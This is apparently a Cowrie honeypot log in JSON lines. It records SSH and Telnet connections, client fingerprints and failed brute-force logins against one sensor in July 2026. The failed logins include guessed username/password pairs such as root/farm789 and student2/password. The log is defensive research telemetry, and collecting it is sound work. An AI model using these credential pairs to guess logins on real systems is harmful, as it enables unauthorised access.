{"eventid":"cowrie.login.failed","username":"root","password":"adrienne","message":"login attempt [root/adrienne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:09.488302Z","src_ip":"77.94.47.83","session":"f7748a2fe0b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:10.604434Z","src_ip":"77.94.47.83","session":"f7748a2fe0b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":60340,"dst_ip":"159.203.135.109","dst_port":22,"session":"248f76877eeb","protocol":"ssh","message":"New connection: 162.240.35.200:60340 (159.203.135.109:22) [session: 248f76877eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:27.839027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:27.843827Z","src_ip":"162.240.35.200","session":"248f76877eeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:27.930686Z","src_ip":"162.240.35.200","session":"248f76877eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.202","src_port":38880,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd14edda6c32","protocol":"ssh","message":"New connection: 162.241.239.202:38880 (159.203.135.109:22) [session: cd14edda6c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:27.944602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:27.948432Z","src_ip":"162.241.239.202","session":"cd14edda6c32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:27.970950Z","src_ip":"162.241.239.202","session":"cd14edda6c32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vet","password":"vet2024","message":"login attempt [vet/vet2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:28.043305Z","src_ip":"162.241.239.202","session":"cd14edda6c32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"farm789","message":"login attempt [root/farm789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:28.178284Z","src_ip":"162.240.35.200","session":"248f76877eeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:29.068906Z","src_ip":"162.241.239.202","session":"cd14edda6c32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:29.262338Z","src_ip":"162.240.35.200","session":"248f76877eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":38202,"dst_ip":"159.203.135.109","dst_port":22,"session":"82d6add11e9c","protocol":"ssh","message":"New connection: 103.77.242.62:38202 (159.203.135.109:22) [session: 82d6add11e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:37.864969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:37.867715Z","src_ip":"103.77.242.62","session":"82d6add11e9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:38.107342Z","src_ip":"103.77.242.62","session":"82d6add11e9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sanek1996","message":"login attempt [root/sanek1996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:38.826069Z","src_ip":"103.77.242.62","session":"82d6add11e9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60164,"dst_ip":"159.203.135.109","dst_port":23,"session":"893b0b4273f8","protocol":"telnet","message":"New connection: 170.64.224.25:60164 (159.203.135.109:23) [session: 893b0b4273f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:39.232692Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:40.066687Z","src_ip":"103.77.242.62","session":"82d6add11e9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":54982,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8b4bf5e4200","protocol":"ssh","message":"New connection: 159.65.58.200:54982 (159.203.135.109:22) [session: f8b4bf5e4200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:41.297854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:41.591045Z","src_ip":"159.65.58.200","session":"f8b4bf5e4200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:41.594374Z","src_ip":"159.65.58.200","session":"f8b4bf5e4200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"surakshn","password":"123456","message":"login attempt [surakshn/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:42.922821Z","src_ip":"159.65.58.200","session":"f8b4bf5e4200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:44.221875Z","src_ip":"159.65.58.200","session":"f8b4bf5e4200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.248.43","src_port":59454,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea57dc5eb138","protocol":"ssh","message":"New connection: 213.21.248.43:59454 (159.203.135.109:22) [session: ea57dc5eb138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:05.041247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:05.045667Z","src_ip":"213.21.248.43","session":"ea57dc5eb138","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:05.119585Z","src_ip":"213.21.248.43","session":"ea57dc5eb138","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"happiness","message":"login attempt [root/happiness] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:05.450432Z","src_ip":"213.21.248.43","session":"ea57dc5eb138","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:06.528355Z","src_ip":"213.21.248.43","session":"ea57dc5eb138","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.25.72","src_port":35614,"dst_ip":"159.203.135.109","dst_port":22,"session":"540da4c2dd27","protocol":"ssh","message":"New connection: 154.221.25.72:35614 (159.203.135.109:22) [session: 540da4c2dd27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:11.298802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:11.303404Z","src_ip":"154.221.25.72","session":"540da4c2dd27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:11.508745Z","src_ip":"154.221.25.72","session":"540da4c2dd27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student2","password":"password","message":"login attempt [student2/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:12.371080Z","src_ip":"154.221.25.72","session":"540da4c2dd27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:13.580755Z","src_ip":"154.221.25.72","session":"540da4c2dd27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":52006,"dst_ip":"10.17.0.5","dst_port":22,"session":"16b86291cbc0","protocol":"ssh","message":"New connection: 80.94.92.55:52006 (10.17.0.5:22) [session: 16b86291cbc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:36.590725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:37.600346Z","src_ip":"80.94.92.55","session":"16b86291cbc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:37.603734Z","src_ip":"80.94.92.55","session":"16b86291cbc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":46970,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0a303af062f","protocol":"ssh","message":"New connection: 46.19.67.181:46970 (159.203.135.109:22) [session: c0a303af062f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:41.269981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:41.273889Z","src_ip":"46.19.67.181","session":"c0a303af062f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:41.384903Z","src_ip":"46.19.67.181","session":"c0a303af062f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47392,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bcacb31544e","protocol":"telnet","message":"New connection: 170.64.224.25:47392 (159.203.135.109:23) [session: 7bcacb31544e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:41.401902Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"24101982","message":"login attempt [root/24101982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:41.722506Z","src_ip":"46.19.67.181","session":"c0a303af062f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:41.892485Z","src_ip":"80.94.92.55","session":"16b86291cbc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:42.836282Z","src_ip":"46.19.67.181","session":"c0a303af062f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:41:44.134568Z","src_ip":"80.94.92.55","session":"16b86291cbc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.71","src_port":37686,"dst_ip":"159.203.135.109","dst_port":22,"session":"62be219fa16d","protocol":"ssh","message":"New connection: 92.118.39.71:37686 (159.203.135.109:22) [session: 62be219fa16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:07.078740Z"}
